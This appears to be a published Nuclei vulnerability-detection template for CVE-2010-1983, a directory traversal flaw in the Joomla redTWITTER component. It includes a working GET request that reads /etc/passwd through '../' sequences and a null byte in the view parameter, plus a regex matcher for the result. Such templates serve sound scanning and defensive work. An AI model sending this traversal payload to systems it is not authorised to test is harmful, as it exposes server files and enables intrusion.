Joomla! Component redTWITTER 1.0 - Local File Inclusion

ID: CVE-2010-1983

Severity: high

Author: daffainfo

Tags: cve,cve2010,joomla,lfi,edb,packetstorm,redcomponent

Description

A drectory traversal vulnerability in the redTWITTER (com_redtwitter) component 1.0.x including 1.0b11 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.

YAML Source

id: CVE-2010-1983

info:
  name: Joomla! Component redTWITTER 1.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A drectory traversal vulnerability in the redTWITTER (com_redtwitter) component 1.0.x including 1.0b11 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12055
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1983
    - http://packetstormsecurity.org/1004-exploits/joomlaredtwitter-lfi.txt
    - http://www.exploit-db.com/exploits/12055
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57511
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1983
    cwe-id: CWE-22
    epss-score: 0.01815
    epss-percentile: 0.87898
    cpe: cpe:2.3:a:redcomponent:com_redtwitter:1.0b8:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: redcomponent
    product: com_redtwitter
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,redcomponent

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_redtwitter&view=../../../../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220039566e136c14a2790cbfc0037e11d5fe36f2fc705e4fb07a2fb75215f26e127022015b445f6eee47ff8166494a9fab75afabb400c67493b31135461b2430e075583:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2010/CVE-2010-1983.yaml"

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